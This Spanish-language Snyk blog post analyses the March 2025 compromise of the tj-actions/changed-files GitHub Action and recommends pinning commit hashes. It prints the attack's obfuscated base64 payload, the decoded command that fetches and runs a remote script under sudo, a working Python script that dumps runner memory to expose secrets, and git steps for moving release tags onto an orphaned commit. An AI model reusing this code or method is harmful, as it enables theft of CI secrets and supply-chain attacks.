Skip to main content

Reconstrucción del compromiso de GitHub Actions de TJ Actions Changed Files

Escrito por

17 de marzo de 2025

0 minutos de lectura

La tarde del viernes 14 de marzo de 2025, comenzaron a surgir detalles sobre un grave exploit de seguridad en una popular GitHub Action llamada changed files (tj-actions/changed-files). Cerca de 23.000 repositorios de GitHub usan esta Action como parte de sus flujos de trabajo de CI y DevOps. Permite rastrear qué archivos cambiaron entre ramas y commits.

Un atacante con privilegios de escritura en el repositorio de la Action hizo un commit que provocó que secretos cifrados aparecieran en texto sin formato en los registros de GitHub Actions. Esto podría ocasionar una filtración devastadora en un repositorio público, donde los registros de la Action también son públicos.

Primero, queremos asegurarles a nuestros clientes que Snyk completó una evaluación de nuestra infraestructura y confirmamos que no usamos una versión afectada de la biblioteca vulnerable. Por lo tanto, Snyk está protegido frente a esta vulnerabilidad.

Dicho esto, queremos compartir un análisis detallado de la vulnerabilidad realizado por Snyk, explicar cómo funciona y presentar medidas lógicas para remediarla, que son el foco de este blog.

Al momento de escribir esto, no se sabe por qué el atacante tenía permisos de escritura en el repositorio que aloja el código de esta GitHub Action. Sin embargo, los factores clave que hicieron posible el ataque, además de contar con permisos de escritura, fueron los siguientes:

  • Cambiar las etiquetas de versión existentes para que apuntaran al commit del ataque

  • Dejar el commit del ataque huérfano, sin asociarlo a ninguna rama, incluida la rama principal

Estos factores ayudaron a ocultar el ataque. El ataque dependía de realizar una llamada a una red externa para descargar el código malicioso, lo que finalmente hizo que lo detectaran los servicios que monitorean la actividad de red anómala.

Hacia el final de esta publicación, recreo el ataque (de forma inocua) para que entiendas mejor cómo fue posible y cómo protegerte.

Sobre los commits huérfanos de Git

Prueba este ejercicio. Crea un repositorio nuevo en GitHub y clónalo localmente. Crea una rama y súbela a GitHub. Anota el hash del commit. Luego, elimina la rama remota. Aún puedes navegar hasta ese commit, aunque ya no esté asociado a ninguna rama existente.

Estos son los pasos descritos anteriormente:

1. Crea un repositorio en GitHub

2. Crea un repositorio local y agrega el remoto de GitHub que acabas de crear

echo "# orhpan-branch-test" >> README.md
git init
git add README.md
git commit -m "first commit"
git branch -M main
git remote add origin git@github.com:dogeared/orhpan-branch-test.git
git push -u origin main

3. Crea una rama

git checkout -b orphan

4. Agrega un commit y súbelo

echo hello > hello.txt
git add -A .
git commit -m "hello"
git push origin orphan

5. Anota el commit en GitHub

https://github.com/dogeared/orhpan-branch-test/commit/c7e359462f6afc144d7b4da6eb277d0338c675c9
Página de confirmación de GitHub para el commit «hello» c7e3594, rama «orphan» en el repositorio «orhpan-branch-test».

6. Elimina la rama en GitHub

Captura de pantalla de la sección «Tus ramas» de un repositorio de GitHub, donde se muestra la rama «orphan» marcada como «Eliminada ahora» y con un estado de 1 commit por delante.

7. Navega a la URL del commit que anotaste arriba

Captura de pantalla de la página de commit de GitHub para c7e3594 con la advertencia: «Este commit no pertenece a ninguna rama de este repositorio...» y el mensaje del commit «hello».

Así se ve una rama huérfana. Es uno de los factores clave que permitieron explotar el flujo de trabajo de la GitHub Action changes-files.

El otro factor clave fue mover las etiquetas de versión dentro del repositorio.

Sobre las etiquetas de versión de GitHub

Por desgracia, a veces los desarrolladores atribuyen propiedades casi mágicas a las etiquetas de versión de GitHub. Si nos dicen que usemos la versión v35 de un lanzamiento en particular, hacemos referencia a esa etiqueta y asumimos que eso es lo que obtendremos. En circunstancias normales, es una suposición razonable, pero las etiquetas de GitHub son solo cadenas prácticas que apuntan a un commit específico; no tienen nada de mágico, incluso si se usa un versionado semántico riguroso. Aquí tienes un ejemplo parcial de un archivo YAML de GitHub Action que hace referencia a la Action changes-files:

name: "tj-action changed-files"

on:
  pull_request:
    branches:
      - main

permissions:
  pull-requests: read

jobs:
  changed_files:
    runs-on: ubuntu-latest
    name: Test changed-files
    steps:
      - uses: actions/checkout@v4
        with:
          fetch-depth: 0

      - name: Get changed files
        id: changed-files
        uses: tj-actions/changed-files@v35

El punto clave está en la última línea, donde se hace referencia a una etiqueta específica del repositorio de GitHub Action. El atacante eliminó las etiquetas de versión originales y las reasignó al commit malicioso, que estaba huérfano. El atacante hizo que varias etiquetas de versión existentes apuntaran a su commit malicioso, lo que amplificó el impacto del ataque.

Puedo demostrarlo si continúo con el ejemplo anterior. En mi máquina local, etiquetaré la rama en la que he estado trabajando:

git tag v35
git push --tags

En GitHub, ahora la etiqueta está asociada al commit huérfano. Puedo navegar a:

https://github.com/dogeared/orhpan-branch-test/tree/v35

Entonces veo esto:

Captura de pantalla de la lista de confirmaciones de un repositorio de GitHub con la advertencia: «Esta confirmación no pertenece a ninguna rama...». Se muestran las confirmaciones «hello» y «first commit», del usuario «dogeared».

Así, el atacante podía hacer que las personas usaran el commit malicioso simplemente actualizando el repositorio del código de la GitHub Action changed-files.

En resumen, un actor malicioso tenía acceso de escritura a un repositorio del que dependían otros 23.000 repositorios. Aunque el atacante ideó una forma ingeniosa de ocultar sus acciones, nunca habría podido llevar a cabo el ataque sin ese acceso de escritura.

Veamos más de cerca qué buscaba el atacante.

Sobre la filtración de secretos

A menudo, se necesitan secretos para que los scripts de compilación interactúen con otros servicios o para proporcionar las claves necesarias para compilar y ejecutar pruebas.

GitHub cuenta con un sofisticado esquema de cifrado para administrar secretos. Puedes configurar un secreto en el nivel del repositorio de Git y acceder a él desde tu script de compilación sin que aparezca nunca en el registro de compilación ni se filtre. En segundo plano, GitHub descifra y usa el secreto como referencia en tu script de compilación. En la práctica, tu archivo YAML de GitHub Action podría incluir una línea como esta:

steps:
  - name: Hello world action
    with: # Set the secret as an input
      super_secret: ${{ secrets.SuperSecret }}

El resto del script ya puede acceder al secreto sin que este aparezca en el propio script ni en los registros.

El atacante modificó la GitHub Action changed-files de TJ para descargar un script desde una ubicación remota, guardarlo en un archivo local de la máquina virtual donde se ejecutaba GitHub Action y luego ejecutarlo. Esto se hizo en dos pasos. El primero fue el commit malicioso y huérfano, que ya se eliminó. Esta es la parte clave de ese commit de Git:

async function updateFeatures(token) {
     const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
         ignoreReturnCode: true,
         silent: true
     });
     core.info(stdout);   
 }

Si decodificas en Base64 la cadena larga de arriba (como lo hace el script), obtienes:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

El gist al que se hacía referencia ya se eliminó, pero aquí está el script de Python que contenía:

#!/usr/bin/env python3

import os
import sys
import re

def get_pid():
    # https://stackoverflow.com/questions/2703640/process-list-on-linux-via-python
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
            if b'Runner.Worker' in cmdline_f.read():
                return pid

    raise Exception('Can not get pid of Runner.Worker')

if __name__ == "__main__":
    pid = get_pid()
    print(pid)

    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # for each mapped region
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
            if m.group(3) == 'r':  # readable region
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)
                # hotfix: OverflowError: Python int too large to convert to C long
                # 18446744073699065856
                if start > sys.maxsize:
                    continue
                mem_f.seek(start)  # seek to region start

                try:
                    chunk = mem_f.read(end - start)  # read region contents
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    continue

El script anterior, ejecutado como root con el comando sudo, inspecciona la memoria de los procesos para encontrar los secretos descifrados y mostrarlos en el registro de Actions. Esto es muy perjudicial, ya que, por diseño, los registros de GitHub Actions en los repositorios públicos de GitHub también son públicos.

Una publicación en Hacker News (que puedes encontrar aquí), publicada el 14 de marzo, indicó que el exploit había sido detectado por StepSecurity, un servicio que monitorea llamadas de red no autorizadas en GitHub Actions, entre otras cosas. El autor y responsable de mantenimiento de la popular GitHub Action agregó un comentario en esa publicación donde explicaba lo ocurrido. Lo primero que señala es que el atacante tenía acceso de escritura al repositorio.

Gracias a la rápida detección del exploit y a la respuesta oportuna de la persona responsable de su mantenimiento, se corrigió y desactivó muy rápido. Sin embargo, se recomienda a quienes usan la GitHub Action changed-files que revisen sus registros desde el 14 de marzo para asegurarse de que no se hayan filtrado secretos en un registro público de Actions.

El exploit en acción

Creé un conjunto de repositorios para demostrar este exploit, configurados de la forma más parecida posible a la configuración del atacante.

El primer repositorio de Git es donde se define la GitHub Action personalizada: tj-changed-files-action-goof.

El archivo index.js es sencillo y se basa principalmente en el tutorial de GitHub para crear acciones:

const core = require('@actions/core');
const github = require('@actions/github');

(async function run() {
  try {
    // `who-to-greet` input defined in action metadata file
    const nameToGreet = core.getInput('who-to-greet');
    console.log(`Hello ${nameToGreet}!`);
    const time = (new Date()).toTimeString();
    core.setOutput("time", time);
  } catch (error) {
    core.setFailed(error.message);
  }
})();

Espera una entrada llamada who-to-greet y envía la fecha y la hora a la salida.

El otro repositorio solo tiene un archivo: un archivo YAML configurado para ejecutar la GitHub Action personalizada. También tiene un secreto configurado en el repositorio llamado A_SECRET. El repositorio se llama: tj-changed-files-action-exploit-goof. Si revisas su archivo .github/workflows/main.yml, verás lo siguiente:

name: CI

on:
 "main" branch
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]

  workflow_dispatch:

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
      - uses: actions/checkout@v4

      - name: Run a one-line script
        run: echo Hello, world!

      - name: A Goof Step
        id: goof
        uses: snyk-labs/tj-changed-files-action-goof@v1.0
        with:
          a_secret: ${{ secrets.A_SECRET }}
          who-to-greet: 'dogeared'

      - name: Get the output time
        run: echo "The time was ${{ steps.goof.outputs.time }}"

Hace un par de cosas:

  1. Muestra un mensaje de Hello, world!

  2. Ejecuta la GitHub Action tj-changed-files-action-goof

  3. Muestra la hora de la Action. También usa el secreto del repositorio de la forma esperada en una GitHub Action.

Compara el resultado de A Goof Step en dos ejecuciones distintas. Primero, esta:

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
Hello dogeared!

Luego, esta:

Run snyk-labs/tj-changed-files-action-goof@v1.0
  with:
    a_secret: ***
    who-to-greet: dogeared
SWtGZlUwVkRVa1ZVSWpwN0luWmhiSFZsSWpvaVUzVndaWElnVTJWamNtVjBJRk5sWTNKbGRDRWlMQ0pwYzFObFkzSmxkQ0k2ZEhKMVpYMEs=

Hello dogeared!

En ambos casos, se ejecuta snyk-labs/tj-changed-files-action-goof@v1.0 . En la segunda ejecución, puedes ver el resultado de la GitHub Action comprometida. Y si decodificamos dos veces la cadena codificada en Base64, obtenemos:

"A_SECRET":{"value":"Super Secret Secret!","isSecret":true}

En ambas ejecuciones, puedes ver que GitHub Actions protege el valor del secreto cuando se hace referencia a él: a_secret: ***. Sin embargo, el código del exploit extrae los valores de los secretos en texto sin formato directamente de la memoria del sistema.

Si revisamos la etiqueta v1.0 del repositorio tj-changed-files-action-goof, veremos una rama huérfana similar a la del exploit original:

Captura de la lista de archivos del repositorio de GitHub «tj-changed-files-action-goof», con la advertencia «Este commit no pertenece a ninguna rama…». Se muestran «action.yml» e «index.js», y está seleccionada la etiqueta «v1.0».

Al principio, v1.0 apuntaba a la rama main. Pero, al simular el exploit, simplemente la reasigné a una rama attack, que luego dejé huérfana:

git push origin :v1.0 # delete the original tag on main
git tag -d v1.0 # delete the local tag
git checkout -b attack # create the attack branch

# update index.js to include the malicious code

ncc build index.js # create a new version of dist/index.js
git add dist/index.js
git commit -m "attack"
git push origin attack # push the attack branch up to GitHub
git tag v1.0 # put the v1.0 tag on the attack branch
git push origin --tags # push the v1.0 tag to GitHub
git push origin :attack 
# ^^ DELETE the attack branch on GitHub making the v1.0 tag orphaned

El último detalle engañoso, que es fácil pasar por alto, es ncc build index.js. Esto actualiza dist/index.js, y solo se confirma ese archivo actualizado. El archivo dist/index.js, empaquetado para la web, es lo que realmente ejecuta GitHub Action. Así que, si revisas el archivo index.js en la rama v1.0 (huérfana), no parece que haya cambiado nada.

Aquí está el diff del código webpack de dist/index.js en v1.0, en comparación con la rama main.

Toma medidas para proteger tus GitHub Actions

Estoy seguro de que surgirán más detalles sobre cómo o por qué el atacante tenía acceso de escritura a este popular repositorio de GitHub Action.

Es una práctica común confiar en las etiquetas de Git como referencia a las versiones de las distintas bibliotecas de las que dependemos.

Hay varias formas de haber evitado este exploit en particular.

1. En el caso de las GitHub Actions personalizadas y remotas, usa directamente el hash del commit como referencia

Por ejemplo, podrías haber hecho lo siguiente:

uses: snyk-labs/tj-changed-files-action-goof@6eb82f8276131aa04985f48b1d74e020133e22e5

Esto hace referencia directa al hash del commit en lugar de a una etiqueta. No es una práctica común, pero garantizaría que se ejecute la versión de la GitHub Action personalizada que esperas.

2. Usa GitHub Actions personalizadas adicionales para detectar llamadas de red inesperadas. Así fue como StepSecurity detectó el exploit.

Es alentador ver a una comunidad de colaboradores de código abierto, empresas y personas que se moviliza para encontrar y corregir nuevos exploits cuando aparecen, como ocurrió con este.

Snyk ha publicado investigaciones previas y prácticas recomendadas relacionadas con GitHub Actions. Te recomendamos mucho que las consultes y evalúes tus prácticas de DevSecOps y seguridad:

Explora el estado de la seguridad del código abierto

Conoce las tendencias y los enfoques actuales sobre el software de código abierto y la seguridad de la cadena de suministro.

Leer más

blog feature snyk container custom base recommendations
Blog

Presentamos Evo Agentic AppSec: seguridad al ritmo del desarrollo con IA

El desarrollo impulsado por IA supera el ritmo de los flujos de trabajo de seguridad tradicionales. Agentic AppSec de Snyk usa agentes de seguridad para encontrar, corregir y verificar vulnerabilidades de forma continua, mientras las personas definen el estándar.

Blog

Los modelos de frontera encontraron las vulnerabilidades. Solo el atacante encontró las cadenas.

El análisis estático encontró las fallas, pero solo las pruebas de ataque en vivo demostraron cómo podían encadenarse para provocar brechas. Una comparación de Evo COS, Claude Security y Claude Code Security.

feature insights context
Blog

Los ataques autónomos ya están aquí. La defensa debe estar a su altura.

Los atacantes autónomos están reduciendo el tiempo disponible para defenderse. Descubre cómo el descubrimiento, la corrección, la validación y la prevención continuos pueden ayudar a los equipos de seguridad a seguirles el ritmo.